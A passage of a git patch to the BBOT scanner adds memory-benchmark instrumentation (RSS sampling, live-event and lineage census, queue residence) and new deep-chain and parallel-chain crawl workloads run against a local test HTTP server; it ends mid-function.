"https://files.pythonhosted.org/packages/5c/62/bbfc224d7991e3aea67d31a579e77e4b1da16bb758dcc3cf7e1e6c71d6f2/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ee3bb7327110943e1d0c2c4fe1610a38a83615bff36d0f1b3beebffe1b0e135c", size = 4351539, upload-time = "2026-05-07T18:28:51.845Z" }, + { url = "https://files.pythonhosted.org/packages/e0/1c/47b56406842e69d1141d786d27d82b94efa223e1e56d20a4ecc5d09bea62/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:4d81941032f724243a784503a2a8cd0190974932e16ec5d8f65cc2c593de1d09", size = 4775145, upload-time = "2026-05-07T18:29:01.519Z" }, + { url = "https://files.pythonhosted.org/packages/21/f7/6b75a895c9efb6443a5cf401b3f8fd8e9b40425c1fe8abeb552a56e71fb6/blasthttp-0.5.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:ec5ff94b70c3a5ec11b19a20235d07f7851dee459084063c0ab13ecd6a7a46ea", size = 4742883, upload-time = "2026-05-07T18:29:11.231Z" }, ] [[package]] From 688dcfa3af78a6c65058ff098cb1b6ea7708af59 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 7 May 2026 21:08:29 -0400 Subject: [PATCH 617/912] add scan memory benchmark instrumentation Augments the existing peak-tracemalloc subprocess harness with three additional measurement angles that catch what tracemalloc alone misses: RSS time-series sampling (peak / end / retention via psutil), live-event census and lineage retention, and per-checkpoint queue residence breakdown. Also adds two new workloads exercising chain shapes the existing wide-and-shallow web_crawl doesn't reach: a strict deep_chain and a parallel_chains workload that mirrors real-scale concurrent target scanning. The retention metric (median of last 25% of RSS samples) is the one most sensitive to "stuck for the rest of the scan" pathologies. LiveEventTracker uses a WeakSet hooked into BaseEvent.__init__ so mid-scan census is O(live events) rather than O(every Python object). --- bbot/test/benchmarks/_memory_helpers.py | 345 ++++++++++++++++++ .../benchmarks/_scan_memory_deep_chain.py | 150 ++++++++ .../_scan_memory_parallel_chains.py | 158 ++++++++ .../benchmarks/_scan_memory_subdomain_enum.py | 64 +++- .../test/benchmarks/_scan_memory_web_crawl.py | 55 ++- bbot/test/benchmarks/test_scan_memory.py | 171 ++++++++- 6 files changed, 910 insertions(+), 33 deletions(-) create mode 100644 bbot/test/benchmarks/_memory_helpers.py create mode 100644 bbot/test/benchmarks/_scan_memory_deep_chain.py create mode 100644 bbot/test/benchmarks/_scan_memory_parallel_chains.py diff --git a/bbot/test/benchmarks/_memory_helpers.py b/bbot/test/benchmarks/_memory_helpers.py new file mode 100644 index 0000000000..36d87b09c0 --- /dev/null +++ b/bbot/test/benchmarks/_memory_helpers.py @@ -0,0 +1,345 @@ +""" +Shared memory measurement helpers for scan benchmarks. + +Each helper is independent — pick the ones you need. Designed to be used +from subprocess scan scripts (so tracemalloc + psutil polling are not +contaminated by pytest's own allocations). + +Three measurement angles, each answering a different question: + + - ``RSSSampler``: actual OS-level RAM (catches Rust / lxml / yara that + tracemalloc misses). Headline metrics: peak, end, retention (median + over the last 25% of samples — the metric most sensitive to + "stuck for the rest of the scan" pathology). + + - ``event_census``: who is alive right now, grouped by event type, with + HTTP_RESPONSE body bytes broken out separately. Answers + "where is the memory going?". + + - ``lineage_census``: walk every live event's parent chain back to the + seed and bucket pinned events by seed. Answers "is the chain + holding things alive?". +""" + +import gc +import json +import threading +import time +import weakref + +import psutil + + +class RSSSampler: + """ + Background thread that polls process RSS at a fixed interval. + + Usage:: + + sampler = RSSSampler(interval_s=0.2) + sampler.start() + # ... do work ... + sampler.stop() + m = sampler.metrics() # peak_rss_mb, end_rss_mb, retention_rss_mb + """ + + def __init__(self, interval_s=0.2): + self.interval_s = interval_s + self.samples = [] # list of (t, rss_mb) + self._stop = threading.Event() + self._thread = None + self._proc = psutil.Process() + + def start(self): + self._thread = threading.Thread(target=self._loop, daemon=True) + self._thread.start() + + def _loop(self): + t0 = time.monotonic() + while not self._stop.is_set(): + rss_mb = self._proc.memory_info().rss / 1024 / 1024 + self.samples.append((time.monotonic() - t0, rss_mb)) + self._stop.wait(self.interval_s) + + def stop(self): + self._stop.set() + if self._thread is not None: + self._thread.join(timeout=1.0) + + def metrics(self): + if not self.samples: + return { + "peak_rss_mb": 0.0, + "end_rss_mb": 0.0, + "retention_rss_mb": 0.0, + "samples": 0, + "duration_s": 0.0, + } + rss_values = [r for _, r in self.samples] + peak_rss_mb = max(rss_values) + end_rss_mb = rss_values[-1] + # median over the last 25% of samples — robust to a single + # transient spike at the tail and sensitive to baseline drift. + last_quartile_start = max(1, int(len(rss_values) * 0.75)) + last_quartile = sorted(rss_values[last_quartile_start:]) + retention_rss_mb = last_quartile[len(last_quartile) // 2] + duration_s = self.samples[-1][0] + return { + "peak_rss_mb": round(peak_rss_mb, 2), + "end_rss_mb": round(end_rss_mb, 2), + "retention_rss_mb": round(retention_rss_mb, 2), + "samples": len(self.samples), + "duration_s": round(duration_s, 2), + } + + +class LiveEventTracker: + """ + Mid-scan event census via weakref, without scanning the full Python + object graph. + + ``event_census()`` calls ``gc.get_objects()`` and walks every Python + object — fine at scan-end (one-shot), too expensive to call every + few hundred events. ``LiveEventTracker`` patches + ``BaseEvent.__init__`` to register newcomers into a ``WeakSet``, so + ``census()`` is O(live events) instead of O(every Python object). + + Usage:: + + tracker = LiveEventTracker() + tracker.install() + # ... run scan, calling tracker.census() periodically ... + tracker.uninstall() # optional; not needed if the process exits + """ + + def __init__(self): + self._events = weakref.WeakSet() + self._original_init = None + self._patched = False + + def install(self): + if self._patched: + return + from bbot.core.event.base import BaseEvent + + # Seed with any events that already exist (e.g. SCAN root_event + # created before install). + for obj in gc.get_objects(): + if isinstance(obj, BaseEvent): + self._events.add(obj) + + original_init = BaseEvent.__init__ + events_ref = self._events + + def patched_init(self_evt, *a, **kw): + original_init(self_evt, *a, **kw) + try: + events_ref.add(self_evt) + except TypeError: + # Not weakref-able for some reason; skip silently. + pass + + self._original_init = original_init + BaseEvent.__init__ = patched_init + self._patched = True + + def uninstall(self): + if not self._patched: + return + from bbot.core.event.base import BaseEvent + + BaseEvent.__init__ = self._original_init + self._patched = False + + def census(self): + """O(live events) census. Same shape as ``event_census()``.""" + by_type = {} + body_bytes = 0 + body_count = 0 + for obj in self._events: + by_type[obj.type] = by_type.get(obj.type, 0) + 1 + if obj.type == "HTTP_RESPONSE": + data = getattr(obj, "data", None) + body = data.get("body") if isinstance(data, dict) else None + if body: + body_count += 1 + body_bytes += len(body) + return { + "live_events": sum(by_type.values()), + "by_type": by_type, + "http_response_body_mb": round(body_bytes / 1024 / 1024, 2), + "http_response_with_body": body_count, + } + + +def event_census(): + """ + Walk live BaseEvent instances and classify by type + HTTP_RESPONSE body bytes. + + Returns a dict:: + + { + "live_events": int, + "by_type": {"DNS_NAME": int, "HTTP_RESPONSE": int, ...}, + "http_response_body_mb": float, + "http_response_with_body": int, + } + """ + from bbot.core.event.base import BaseEvent + + gc.collect() + by_type = {} + body_bytes = 0 + body_count = 0 + + for obj in gc.get_objects(): + if not isinstance(obj, BaseEvent): + continue + by_type[obj.type] = by_type.get(obj.type, 0) + 1 + if obj.type == "HTTP_RESPONSE": + data = getattr(obj, "data", None) + body = data.get("body") if isinstance(data, dict) else None + if body: + body_count += 1 + body_bytes += len(body) + + return { + "live_events": sum(by_type.values()), + "by_type": by_type, + "http_response_body_mb": round(body_bytes / 1024 / 1024, 2), + "http_response_with_body": body_count, + } + + +def lineage_census(top_n=20): + """ + Walk every live BaseEvent's parent chain back to the seed and bucket + pinned events by seed. + + A long-lived seed pinning hundreds of events is the signature of the + chain-retention pathology — this is the metric that proves a fix. + + Returns:: + + { + "seeds": [{"seed": str, "pinned_events": int, + "max_chain_depth": int, + "types_pinned": {type: count, ...}}, ...], # top N + "total_pinned_events": int, + "max_chain_depth": int, + "live_events_walked": int, + } + """ + from bbot.core.event.base import BaseEvent + + gc.collect() + seeds = {} + max_chain_depth = 0 + walked = 0 + + for obj in gc.get_objects(): + if not isinstance(obj, BaseEvent): + continue + walked += 1 + depth = 0 + node = obj + # Walk up via .parent. Root events are self-parented (node.parent is node). + while node is not None and node is not getattr(node, "parent", None): + depth += 1 + parent = getattr(node, "parent", None) + if parent is None or parent is node: + break + node = parent + if node is None: + continue + max_chain_depth = max(max_chain_depth, depth) + seed_data = getattr(node, "data", None) + seed_data_str = str(seed_data)[:80] if seed_data is not None else "" + seed_key = f"{node.type}:{seed_data_str}" + s = seeds.setdefault( + seed_key, + {"pinned_events": 0, "max_chain_depth": 0, "types_pinned": {}}, + ) + s["pinned_events"] += 1 + s["max_chain_depth"] = max(s["max_chain_depth"], depth) + s["types_pinned"][obj.type] = s["types_pinned"].get(obj.type, 0) + 1 + + sorted_seeds = sorted( + ({"seed": k, **v} for k, v in seeds.items()), + key=lambda x: -x["pinned_events"], + ) + return { + "seeds": sorted_seeds[:top_n], + "total_pinned_events": sum(v["pinned_events"] for v in seeds.values()), + "max_chain_depth": max_chain_depth, + "live_events_walked": walked, + } + + +def queue_residence(scan, tracker): + """ + Classify live events by where they currently live in the scan + pipeline. + + Two angles, since they answer different questions: + + - Per-module queue depth (``by_queue``): which module is the + current bottleneck — events are piling up where queue depth is + large. + - In-pipeline vs. chain-only (``in_pipeline`` / ``chain_only``): + of the live events, how many are still being processed by some + module (``event._module_consumers > 0``) vs. how many are + held alive *only* by the parent chain. The chain_only count is + the chain-retention pathology made directly visible. + + Returns:: + + { + "in_pipeline": int, # _module_consumers > 0 + "chain_only": int, # _module_consumers == 0 + "queue_total": int, # sum of all module queue depths + "by_queue": {module_name: {"incoming": int, "outgoing": int}, ...}, + } + """ + by_queue = {} + for module in scan.modules.values(): + m_name = getattr(module, "name", str(module)) + in_q = getattr(module, "_incoming_event_queue", None) + out_q = getattr(module, "_outgoing_event_queue", None) + in_count = 0 + out_count = 0 + # asyncio.Queue / ShuffleQueue both expose the underlying ``_queue`` deque. + if in_q and in_q is not False and hasattr(in_q, "_queue"): + in_count = len(in_q._queue) + if out_q and hasattr(out_q, "_queue"): + out_count = len(out_q._queue) + if in_count or out_count: + by_queue[m_name] = {"incoming": in_count, "outgoing": out_count} + + in_pipeline = 0 + chain_only = 0 + # Iterate the WeakSet directly — O(live events). + for ev in tracker._events: + if getattr(ev, "_module_consumers", 0) > 0: + in_pipeline += 1 + else: + chain_only += 1 + + return { + "in_pipeline": in_pipeline, + "chain_only": chain_only, + "queue_total": sum(d["incoming"] + d["outgoing"] for d in by_queue.values()), + "by_queue": by_queue, + } + + +def emit_metrics_json(**metrics): + """ + Print a single ``METRICS_JSON:`` line that ``test_scan_memory.py`` parses. + + Backward-compat: also prints the legacy ``PEAK_MB:`` line when + ``peak_tracemalloc_mb`` is supplied, so any external readers still work. + """ + print(f"METRICS_JSON:{json.dumps(metrics)}") + if "peak_tracemalloc_mb" in metrics: + print(f"PEAK_MB:{metrics['peak_tracemalloc_mb']}") diff --git a/bbot/test/benchmarks/_scan_memory_deep_chain.py b/bbot/test/benchmarks/_scan_memory_deep_chain.py new file mode 100644 index 0000000000..f13663e003 --- /dev/null +++ b/bbot/test/benchmarks/_scan_memory_deep_chain.py @@ -0,0 +1,150 @@ +""" +Subprocess script for the deep-chain memory benchmark. + +Spawns a local HTTP server that serves a strict linear chain — page N +links only to page N+1, no siblings — and runs a BBOT scan that follows +the entire chain. The discovery pipeline produces a deep parent lineage +(each hop adds URL → HTTP_RESPONSE → URL_UNVERIFIED → URL → … to the +chain), exposing chain-retention pathology that the wide-and-shallow +``_scan_memory_web_crawl.py`` workload masks. + +Invoked by test_scan_memory.py — not meant to be run directly. +""" + +import gc +import sys +import asyncio +import threading +import tracemalloc +import importlib.util +from http.server import HTTPServer, BaseHTTPRequestHandler + +import psutil + +from bbot.scanner import Scanner +from bbot.test.benchmarks._memory_helpers import ( + LiveEventTracker, + RSSSampler, + event_census, + lineage_census, + queue_residence, + emit_metrics_json, +) + +CHAIN_LENGTH = int(sys.argv[1]) +BODY_SIZE = int(sys.argv[2]) +CHECKPOINT_EVERY = 25 # mid-scan census cadence (events seen) + +HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http" + + +class H(BaseHTTPRequestHandler): + def do_GET(self): + path = self.path.rstrip("/") + if path in ("", "/"): + i = 0 + elif path.startswith("/page"): + try: + i = int(path[len("/page") :]) + except ValueError: + self.send_response(404) + self.end_headers() + return + else: + self.send_response(404) + self.end_headers() + return + + # Strict chain: page i links only to page i+1; the last page has no link. + if i + 1 < CHAIN_LENGTH: + link = f'next' + else: + link = "" + body = f"

    Page {i}

    {link}{'A' * BODY_SIZE}" + + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(body.encode()) + + def log_message(self, *a): + pass + + +server = HTTPServer(("127.0.0.1", 0), H) +port = server.server_address[1] +threading.Thread(target=server.serve_forever, daemon=True).start() + +# spider_distance/depth must exceed chain length so the spider follows +# the full chain. spider_links_per_page=1 matches the server (one link). +scan = Scanner( + f"http://127.0.0.1:{port}/", + modules=[HTTP_MODULE], + output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": { + "spider_distance": CHAIN_LENGTH + 5, + "spider_depth": CHAIN_LENGTH + 5, + "spider_links_per_page": 2, + }, + "speculate": True, + "excavate": True, + "aggregate": False, + "cloudcheck": False, + }, + force_start=True, +) + + +async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + + tracker = LiveEventTracker() + tracker.install() + sampler = RSSSampler(interval_s=0.2) + sampler.start() + tracemalloc.start() + + # Count emitted events without holding strong refs. Holding them in a + # list would inflate live-event counts artificially — production + # callers iterate and discard. + events_seen = 0 + checkpoints = [] + proc = psutil.Process() + async for event in scan.async_start(): + del event + events_seen += 1 + if events_seen % CHECKPOINT_EVERY == 0: + checkpoints.append( + { + "events_seen": events_seen, + "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2), + **tracker.census(), + "residence": queue_residence(scan, tracker), + } + ) + + sampler.stop() + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + + emit_metrics_json( + peak_tracemalloc_mb=round(peak / 1024 / 1024, 2), + chain_length=CHAIN_LENGTH, + body_size=BODY_SIZE, + events_collected=events_seen, + rss=sampler.metrics(), + census=event_census(), + lineage=lineage_census(), + end_residence=queue_residence(scan, tracker), + checkpoints=checkpoints, + ) + + +asyncio.run(run()) +server.shutdown() diff --git a/bbot/test/benchmarks/_scan_memory_parallel_chains.py b/bbot/test/benchmarks/_scan_memory_parallel_chains.py new file mode 100644 index 0000000000..9bd1cf634c --- /dev/null +++ b/bbot/test/benchmarks/_scan_memory_parallel_chains.py @@ -0,0 +1,158 @@ +""" +Subprocess script for the parallel-chains memory benchmark. + +Mirrors the real-scale pattern: many independent targets being scanned +concurrently, each producing its own deep chain. Even when each chain +is naturally serial in its fetch cadence, the union across hundreds +of chains is where bodies pile up — the pathology a single-seed +``_scan_memory_deep_chain.py`` cannot reproduce. + +The HTTP server serves a path scheme of ``/seed{S}/page{N}``. Page N +of seed S links to page N+1 of the same seed (no cross-seed links, +strict per-seed chain). NUM_SEEDS targets are passed to the scanner +so the spider runs all chains concurrently. + +Invoked by test_scan_memory.py — not meant to be run directly. +""" + +import gc +import sys +import asyncio +import threading +import tracemalloc +import importlib.util +from http.server import HTTPServer, BaseHTTPRequestHandler + +import psutil + +from bbot.scanner import Scanner +from bbot.test.benchmarks._memory_helpers import ( + LiveEventTracker, + RSSSampler, + event_census, + lineage_census, + queue_residence, + emit_metrics_json, +) + +NUM_SEEDS = int(sys.argv[1]) +CHAIN_LENGTH = int(sys.argv[2]) +BODY_SIZE = int(sys.argv[3]) +CHECKPOINT_EVERY = 500 # mid-scan census cadence (events seen) + +HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http" + + +class H(BaseHTTPRequestHandler): + def do_GET(self): + # Path format: /seed{S}/page{N} + parts = self.path.strip("/").split("/") + if len(parts) != 2 or not parts[0].startswith("seed") or not parts[1].startswith("page"): + self.send_response(404) + self.end_headers() + return + try: + seed_idx = int(parts[0][len("seed") :]) + page_idx = int(parts[1][len("page") :]) + except ValueError: + self.send_response(404) + self.end_headers() + return + if seed_idx >= NUM_SEEDS or page_idx >= CHAIN_LENGTH: + self.send_response(404) + self.end_headers() + return + + # Page N links only to page N+1 within the same seed (no cross-seed links). + if page_idx + 1 < CHAIN_LENGTH: + link = f'next' + else: + link = "" + body = f"

    seed{seed_idx} page{page_idx}

    {link}{'A' * BODY_SIZE}" + self.send_response(200) + self.send_header("Content-Type", "text/html") + self.end_headers() + self.wfile.write(body.encode()) + + def log_message(self, *a): + pass + + +server = HTTPServer(("127.0.0.1", 0), H) +port = server.server_address[1] +threading.Thread(target=server.serve_forever, daemon=True).start() + +# NUM_SEEDS independent targets — the spider runs all chains concurrently. +targets = [f"http://127.0.0.1:{port}/seed{i}/page0" for i in range(NUM_SEEDS)] +scan = Scanner( + *targets, + modules=[HTTP_MODULE], + output_modules=["python"], + config={ + "dns": {"disable": True}, + "scope": {"search_distance": 0}, + "web": { + "spider_distance": CHAIN_LENGTH + 5, + "spider_depth": CHAIN_LENGTH + 5, + "spider_links_per_page": 2, + }, + "speculate": True, + "excavate": True, + "aggregate": False, + "cloudcheck": False, + }, + force_start=True, +) + + +async def run(): + await scan._prep() + gc.collect() + if tracemalloc.is_tracing(): + tracemalloc.stop() + + tracker = LiveEventTracker() + tracker.install() + sampler = RSSSampler(interval_s=0.2) + sampler.start() + tracemalloc.start() + + # Count emitted events without holding strong refs. Holding them in a + # list would inflate live-event counts artificially — production + # callers iterate and discard. + events_seen = 0 + checkpoints = [] + proc = psutil.Process() + async for event in scan.async_start(): + del event + events_seen += 1 + if events_seen % CHECKPOINT_EVERY == 0: + checkpoints.append( + { + "events_seen": events_seen, + "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2), + **tracker.census(), + "residence": queue_residence(scan, tracker), + } + ) + + sampler.stop() + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + + emit_metrics_json( + peak_tracemalloc_mb=round(peak / 1024 / 1024, 2), + num_seeds=NUM_SEEDS, + chain_length=CHAIN_LENGTH, + body_size=BODY_SIZE, + events_collected=events_seen, + rss=sampler.metrics(), + census=event_census(), + lineage=lineage_census(), + end_residence=queue_residence(scan, tracker), + checkpoints=checkpoints, + ) + + +asyncio.run(run()) +server.shutdown() diff --git a/bbot/test/benchmarks/_scan_memory_subdomain_enum.py b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py index 33b4b997f6..55b456e044 100644 --- a/bbot/test/benchmarks/_scan_memory_subdomain_enum.py +++ b/bbot/test/benchmarks/_scan_memory_subdomain_enum.py @@ -12,12 +12,23 @@ import asyncio import tracemalloc +import psutil + from bbot.scanner import Scanner +from bbot.test.benchmarks._memory_helpers import ( + LiveEventTracker, + RSSSampler, + event_census, + lineage_census, + queue_residence, + emit_metrics_json, +) SUBDOMAIN_ENUM_COUNT = int(sys.argv[1]) +CHECKPOINT_EVERY = 1000 # mid-scan census cadence (events seen) scan = Scanner( - "blacklanternsecurity.com", + "example.com", modules=[], output_modules=["python"], config={ @@ -38,25 +49,62 @@ async def run(): gc.collect() if tracemalloc.is_tracing(): tracemalloc.stop() + + tracker = LiveEventTracker() + tracker.install() + sampler = RSSSampler(interval_s=0.2) + sampler.start() tracemalloc.start() - events = [] + + # Count emitted events without holding strong refs. Holding them in a + # list would inflate live-event counts artificially — production + # callers iterate and discard. + events_seen = 0 + checkpoints = [] injected = False + proc = psutil.Process() async for event in scan.async_start(): - events.append(event) - if event.type == "SCAN" and not injected: + events_seen += 1 + is_scan = event.type == "SCAN" + # Read what we need; don't hold the event reference. + if is_scan and not injected: injected = True root_event = scan.root_event for i in range(SUBDOMAIN_ENUM_COUNT): dns_event = scan.make_event( - f"sub{i}.blacklanternsecurity.com", + f"sub{i}.example.com", "DNS_NAME", parent=root_event, context=f"benchmark DNS_NAME {i}", ) await scan.ingress_module.queue_event(dns_event, {}) + del dns_event + del root_event + del event + if events_seen % CHECKPOINT_EVERY == 0: + checkpoints.append( + { + "events_seen": events_seen, + "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2), + **tracker.census(), + "residence": queue_residence(scan, tracker), + } + ) + + sampler.stop() + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + + emit_metrics_json( + peak_tracemalloc_mb=round(peak / 1024 / 1024, 2), + num_subdomains=SUBDOMAIN_ENUM_COUNT, + events_collected=events_seen, + rss=sampler.metrics(), + census=event_census(), + lineage=lineage_census(), + end_residence=queue_residence(scan, tracker), + checkpoints=checkpoints, + ) asyncio.run(run()) -_, peak = tracemalloc.get_traced_memory() -tracemalloc.stop() -print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") diff --git a/bbot/test/benchmarks/_scan_memory_web_crawl.py b/bbot/test/benchmarks/_scan_memory_web_crawl.py index e609220c74..c5fc94245e 100644 --- a/bbot/test/benchmarks/_scan_memory_web_crawl.py +++ b/bbot/test/benchmarks/_scan_memory_web_crawl.py @@ -15,10 +15,21 @@ import importlib.util from http.server import HTTPServer, BaseHTTPRequestHandler +import psutil + from bbot.scanner import Scanner +from bbot.test.benchmarks._memory_helpers import ( + LiveEventTracker, + RSSSampler, + event_census, + lineage_census, + queue_residence, + emit_metrics_json, +) NUM_PAGES = int(sys.argv[1]) BODY_SIZE = int(sys.argv[2]) +CHECKPOINT_EVERY = 200 # mid-scan census cadence (events seen) HTTP_MODULE = "httpx" if importlib.util.find_spec("bbot.modules.httpx") else "http" @@ -73,14 +84,48 @@ async def run(): gc.collect() if tracemalloc.is_tracing(): tracemalloc.stop() + + tracker = LiveEventTracker() + tracker.install() + sampler = RSSSampler(interval_s=0.2) + sampler.start() tracemalloc.start() - events = [] + + # Count emitted events without holding strong refs. Holding them in a + # list would inflate live-event counts artificially — production + # callers iterate and discard. + events_seen = 0 + checkpoints = [] + proc = psutil.Process() async for event in scan.async_start(): - events.append(event) + del event + events_seen += 1 + if events_seen % CHECKPOINT_EVERY == 0: + checkpoints.append( + { + "events_seen": events_seen, + "rss_mb": round(proc.memory_info().rss / 1024 / 1024, 2), + **tracker.census(), + "residence": queue_residence(scan, tracker), + } + ) + + sampler.stop() + _, peak = tracemalloc.get_traced_memory() + tracemalloc.stop() + + emit_metrics_json( + peak_tracemalloc_mb=round(peak / 1024 / 1024, 2), + num_pages=NUM_PAGES, + body_size=BODY_SIZE, + events_collected=events_seen, + rss=sampler.metrics(), + census=event_census(), + lineage=lineage_census(), + end_residence=queue_residence(scan, tracker), + checkpoints=checkpoints, + ) asyncio.run(run()) -_, peak = tracemalloc.get_traced_memory() -tracemalloc.stop() server.shutdown() -print(f"PEAK_MB:{round(peak / 1024 / 1024, 2)}") diff --git a/bbot/test/benchmarks/test_scan_memory.py b/bbot/test/benchmarks/test_scan_memory.py index af4f76dfa6..760be8568c 100644 --- a/bbot/test/benchmarks/test_scan_memory.py +++ b/bbot/test/benchmarks/test_scan_memory.py @@ -1,12 +1,29 @@ """ Memory benchmarks for BBOT scan patterns. -Each benchmark launches a scan as a subprocess so tracemalloc measurements -are not contaminated by pytest's own allocations. The subprocess writes -peak memory (MB) to stdout, which the test reads and stores in -benchmark extra_info["total_memory_mb"]. +Each benchmark launches a scan as a subprocess so tracemalloc / RSS +measurements are not contaminated by pytest's own allocations. The +subprocess emits a single ``METRICS_JSON:`` line containing four +measurement angles, all of which are surfaced to pytest-benchmark via +``benchmark.extra_info``: + + - ``peak_tracemalloc_mb``: Python-side peak (legacy headline metric; + misses Rust / lxml / yara allocations). + - ``rss.peak_rss_mb`` / ``rss.end_rss_mb`` / ``rss.retention_rss_mb``: + OS-level RSS sampled every ~200 ms. ``retention_rss_mb`` is the + median of the last 25% of samples — the metric most sensitive to + "stuck for the rest of the scan" pathology. + - ``census``: live BaseEvent count by type + HTTP_RESPONSE body MB + at scan-end. Answers "where is the memory going?". + - ``lineage``: every live event's parent chain walked back to the + seed; reports max chain depth and which seeds pin the most events. + Answers "is the chain holding things alive?". + +A backward-compatible ``PEAK_MB:`` line is still emitted by +``_memory_helpers.emit_metrics_json`` for any external readers. """ +import json import subprocess import sys from pathlib import Path @@ -14,15 +31,24 @@ import pytest -NUM_PAGES = 500 -BODY_SIZE = 500_000 # 500 KB per page -SUBDOMAIN_ENUM_COUNT = 5000 +NUM_PAGES = 1000 +BODY_SIZE = 1_000_000 # 1 MB per page → 1 GB served +SUBDOMAIN_ENUM_COUNT = 20_000 +DEEP_CHAIN_LENGTH = 200 +DEEP_CHAIN_BODY_SIZE = 1_000_000 # 1 MB per page + +# Parallel-chains workload: simulates real-scale scans with many concurrent +# targets. Even when each chain is naturally serial, the union across chains +# is where bodies pile up — the pathology a single deep chain cannot reproduce. +PARALLEL_NUM_SEEDS = 50 +PARALLEL_CHAIN_LENGTH = 30 +PARALLEL_BODY_SIZE = 500_000 _BENCHMARKS_DIR = Path(__file__).parent -def _run_scan_subprocess(script_path: Path, *args: str) -> float: - """Run a scan script in a clean subprocess, return peak memory in MB.""" +def _run_scan_subprocess(script_path: Path, *args: str) -> dict: + """Run a scan script in a clean subprocess; return parsed metrics dict.""" result = subprocess.run( [sys.executable, str(script_path), *args], capture_output=True, @@ -31,36 +57,141 @@ def _run_scan_subprocess(script_path: Path, *args: str) -> float: ) if result.returncode != 0: raise RuntimeError(f"Scan subprocess failed:\n{result.stderr[-2000:]}") + metrics = None for line in result.stdout.strip().splitlines(): - if line.startswith("PEAK_MB:"): - return float(line.split(":", 1)[1]) - raise RuntimeError(f"No PEAK_MB in subprocess output:\n{result.stdout[-2000:]}") + if line.startswith("METRICS_JSON:"): + metrics = json.loads(line[len("METRICS_JSON:") :]) + if metrics is None: + raise RuntimeError(f"No METRICS_JSON in subprocess output:\n{result.stdout[-2000:]}") + return metrics + + +def _record(benchmark, metrics: dict, **extra) -> None: + """Flatten the metrics dict into ``benchmark.extra_info``.""" + benchmark.extra_info["total_memory_mb"] = metrics["peak_tracemalloc_mb"] + benchmark.extra_info["events_collected"] = metrics["events_collected"] + + rss = metrics["rss"] + benchmark.extra_info["peak_rss_mb"] = rss["peak_rss_mb"] + benchmark.extra_info["end_rss_mb"] = rss["end_rss_mb"] + benchmark.extra_info["retention_rss_mb"] = rss["retention_rss_mb"] + benchmark.extra_info["rss_samples"] = rss["samples"] + benchmark.extra_info["scan_duration_s"] = rss["duration_s"] + + census = metrics["census"] + benchmark.extra_info["live_events"] = census["live_events"] + benchmark.extra_info["live_by_type"] = census["by_type"] + benchmark.extra_info["http_response_body_mb"] = census["http_response_body_mb"] + benchmark.extra_info["http_response_with_body"] = census["http_response_with_body"] + + lineage = metrics["lineage"] + benchmark.extra_info["max_chain_depth"] = lineage["max_chain_depth"] + benchmark.extra_info["total_pinned_events"] = lineage["total_pinned_events"] + benchmark.extra_info["top_pinning_seeds"] = lineage["seeds"][:5] + + # Mid-scan checkpoints expose body-byte peaks before minimize() runs + # and the live-event growth curve that end-of-scan census misses. + checkpoints = metrics.get("checkpoints", []) + benchmark.extra_info["checkpoints"] = checkpoints + if checkpoints: + benchmark.extra_info["peak_live_events_midscan"] = max(c["live_events"] for c in checkpoints) + benchmark.extra_info["peak_body_mb_midscan"] = max(c["http_response_body_mb"] for c in checkpoints) + # Residence peaks: max in-pipeline (queued or being handled) vs + # max chain-only (alive solely because the parent chain pins them). + residences = [c["residence"] for c in checkpoints if "residence" in c] + if residences: + benchmark.extra_info["peak_in_pipeline_midscan"] = max(r["in_pipeline"] for r in residences) + benchmark.extra_info["peak_chain_only_midscan"] = max(r["chain_only"] for r in residences) + benchmark.extra_info["peak_queue_total_midscan"] = max(r["queue_total"] for r in residences) + + end_residence = metrics.get("end_residence") + if end_residence is not None: + benchmark.extra_info["end_residence"] = end_residence + + for k, v in extra.items(): + benchmark.extra_info[k] = v class TestWebCrawlMemory: - """Measures peak memory during a realistic web crawl with large pages.""" + """Wide-and-shallow web crawl: every page hangs off ``/``.""" @pytest.mark.benchmark(group="memory_scan_patterns") def test_memory_use_web_crawl(self, benchmark): - peak_mb = _run_scan_subprocess( + metrics = _run_scan_subprocess( _BENCHMARKS_DIR / "_scan_memory_web_crawl.py", str(NUM_PAGES), str(BODY_SIZE), ) - benchmark.extra_info["total_memory_mb"] = peak_mb - benchmark.extra_info["num_pages"] = NUM_PAGES + _record(benchmark, metrics, num_pages=NUM_PAGES, body_size=BODY_SIZE) benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) class TestSubdomainEnumMemory: - """Measures peak memory during a large subdomain enumeration.""" + """Synthetic breadth-only workload: ``SUBDOMAIN_ENUM_COUNT`` injected DNS_NAME events.""" @pytest.mark.benchmark(group="memory_scan_patterns") def test_memory_use_subdomain_enum(self, benchmark): - peak_mb = _run_scan_subprocess( + metrics = _run_scan_subprocess( _BENCHMARKS_DIR / "_scan_memory_subdomain_enum.py", str(SUBDOMAIN_ENUM_COUNT), ) - benchmark.extra_info["total_memory_mb"] = peak_mb - benchmark.extra_info["num_subdomains"] = SUBDOMAIN_ENUM_COUNT + _record(benchmark, metrics, num_subdomains=SUBDOMAIN_ENUM_COUNT) + benchmark.pedantic(lambda: None, iterations=1, rounds=1, warmup_rounds=0) + + +class TestDeepChainMemory: + """ + Deep-and-narrow spider: page N links only to page N+1. + + Designed to expose chain-retention pathology — long parent lineage + with HTTP_RESPONSE bodies pinned via ``parent`` references. Compare + ``retention_rss_mb`` and ``max_chain_depth`` against the wide + workload to gauge how much memory is held by lineage vs. burst. + """ + + @pytest.mark.benchmark(group="memory_scan_patterns") + def 